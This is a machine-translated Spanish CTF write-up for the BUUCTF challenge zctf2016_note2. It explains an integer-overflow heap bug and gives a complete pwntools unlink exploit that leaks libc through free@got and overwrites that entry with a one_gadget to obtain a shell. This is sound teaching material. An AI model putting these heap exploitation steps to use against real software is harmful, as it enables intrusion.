[BUUCTF] PWN —— zctf2016_note2 (unlink)

zctf2016_note2

anexo

paso

  1. La inspección de rutina, el programa de 64 bits, canary y nx están habilitados
    Inserte la descripción de la imagen aquí
  2. Pruébelo para ver la situación general, el menú de apilamiento clásico
    Inserte la descripción de la imagen aquí
  3. Se carga ida de 64 bits para facilitar la visualización del programa.
    Modifiqué el nombre de la función New_note ()
    Inserte la descripción de la imagen aquí
    Inserte la descripción de la imagen aquí
    Inserte la descripción de la imagen aquí
    cuando estaba unsigned_int64, pero la i en el bucle for era int64. Todos sabemos que en el lenguaje C, las variables sin firmar y las variables con signo Al comparar, las variables firmadas se convertirán en variables sin firmar para su comparación. Entonces aquí cuando el tamaño es 0. (unsigned int) (size-1) es un entero muy grande, hay una vulnerabilidad de desbordamiento de enteros
    show_note ()
    Inserte la descripción de la imagen aquí
    edit_note (), 1 es sobrescribir, 2 es agregar
    Inserte la descripción de la imagen aquí
    delete_note ()
    Inserte la descripción de la imagen aquí

Usa ideas

  1. Dado que el puntero del bloque de pila solicitado se coloca en el segmento bss, se puede conocer la dirección del puntero, así que considere usar unlink. Use unlink para asignar a la matriz ptr que almacena fragmentos.
  2. Cambie la dirección del fragmento a la dirección de la tabla obtenida para filtrar libc
  3. Utilice la función de edición para cambiar free @ got a la dirección de la función del sistema, deje que el programa se ejecute nuevamente e ingrese el parámetro "/ bin / sh \ x00", es decir, ejecute el sistema ("/ bin / sh") para conseguir el caparazón.

Proceso de utilización:

  1. La primera es que desvincular
    primero diseña el estado ideal del montón durante la desvinculación. Entre ellos, el fragmento2 se liberará. Al realizar la fusión hacia atrás, desvincular el fragmento falso P. El resultado final es dejar que ptr0 apunte a & ptr0-0x18 para
    Inserte la descripción de la imagen aquí
    construir la estructura del montón que se muestra en la figura anterior.
    El fragmento falso en chunk0 se puede completar directamente al llamar a una nueva nota al principio.
    Los campos pre_size y size de chunk2 requieren que chunk1 se desborde para completarse. Después de solicitar chunk0, chunk1 y chunk2, libera chunk1 y colócalo en fastbin, y luego vuelve a solicitarlo. Debido a la vulnerabilidad de escribir nuevas notas de longitud arbitraria, chunk1 se desborda para modificar el encabezado de chunk2, evitando así la verificación de desvinculación del tamaño de fake_chunk
ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10

note0_content = "\x00" * 8 + p64(0xa1) + p64(fake_fd) + p64(fake_bk)
new_note(0x80, note0_content) #note0
new_note(0x0, "aa") #note1
new_note(0x80, "bb") #note2

delete_note(1)
note1_content = "\x00" * 16 + p64(0xa0) + p64(0x90)
new_note(0x0, note1_content)

delete_note(2)
  1. Después de filtrar libc para
    completar la desvinculación, obtenemos un espacio que se puede leer y escribir en cualquier dirección, que se puede usar para filtrar free @ got y calcular el desplazamiento del programa
free_got = elf.got["free"]
payload = 0x18 * "a" + p64(free_got)
edit_note(0, 1, payload)
gdb.attach(io)

show_note(0)
io.recvuntil("is ")

free_addr = u64(io.recv(6).ljust(8, "\x00"))
libc_addr = free_addr - libc.symbols["free"]
print("libc address: " + hex(libc_addr))

Inserte la descripción de la imagen aquí

  1. Después de obtener el desplazamiento, puede cambiar free @ got a one_gadget.
    Al principio, pensé en cambiarlo al sistema, pero debido a que el contenido de la dirección del fragmento no estaba libre en la eliminación, el sistema ('/ bin / sh' no se pudo ejecutado)), lo cambié a one_gadget (obtenga libc, es más conveniente usar one_gadget bajo la condición de un conjunto completo de registros), después de la modificación, puede obtener el shell directamente

Exp completa

#coding=utf-8
from pwn import *

io = remote('node3.buuoj.cn',29792)
#io = process("./note2")
elf = ELF("./note2")
libc = ELF("./libc-2.23-64.so")

#context.log_level = "debug"


def new_note(size, content):
    io.recvuntil(">>")
    io.sendline("1")
    io.recvuntil(")")
    io.sendline(str(size))
    io.recvuntil(":")
    io.sendline(content)

def show_note(index):
    io.recvuntil(">>")
    io.sendline("2")
    io.recvuntil(":")
    io.sendline(str(index))

def edit_note(index, choice, content):
    io.recvuntil(">>")
    io.sendline("3")
    io.recvuntil(":")
    io.sendline(str(index))
    io.recvuntil("]")
    io.sendline(str(choice))
    io.recvuntil(":")
    io.sendline(content)

def delete_note(index):
    io.recvuntil(">>")
    io.sendline("4")
    io.recvuntil(":")
    io.sendline(str(index))

io.recvuntil(":")
io.sendline("/bin/sh") #name
io.recvuntil(":")
io.sendline("ddd")

ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10

note0_content = "\x00" * 8 + p64(0xa1) + p64(fake_fd) + p64(fake_bk)
new_note(0x80, note0_content) #note0
new_note(0x0, "aa") #note1
new_note(0x80, "/bin/sh") #note2
#gdb.attach(io)
delete_note(1)
note1_content = "\x00" * 16 + p64(0xa0) + p64(0x90)
new_note(0x0, note1_content)

delete_note(2) #unlink
#gdb.attach(io)
# 泄漏libc
free_got = elf.got["free"]
payload = 0x18 * "a" + p64(free_got)
#gdb.attach(io)
edit_note(0, 1, payload)
#gdb.attach(io)

show_note(0)
io.recvuntil("is ")

free_addr = u64(io.recv(6).ljust(8, "\x00"))
libc_addr = free_addr - libc.symbols["free"]
print("libc address: " + hex(libc_addr))

#get shell
system_addr = libc_addr + libc.symbols["system"]
one_gadget = libc_addr + 0xf02a4
edit_note(0, 1, p64(one_gadget)) #overwrite free got -> system address
#io.sendlineafter('option--->>','/bin/sh\x00')

io.interactive()

Inserte la descripción de la imagen aquí
Esta pregunta utiliza principalmente el conocimiento de desvincular. Si no está seguro, puede leer mi artículo anterior .
Referencia wp: https://blog.csdn.net/weixin_38419913/article/details/103333195

Supongo que te gusta

Origin blog.csdn.net/mcmuyanga/article/details/113547320
Recomendado
Clasificación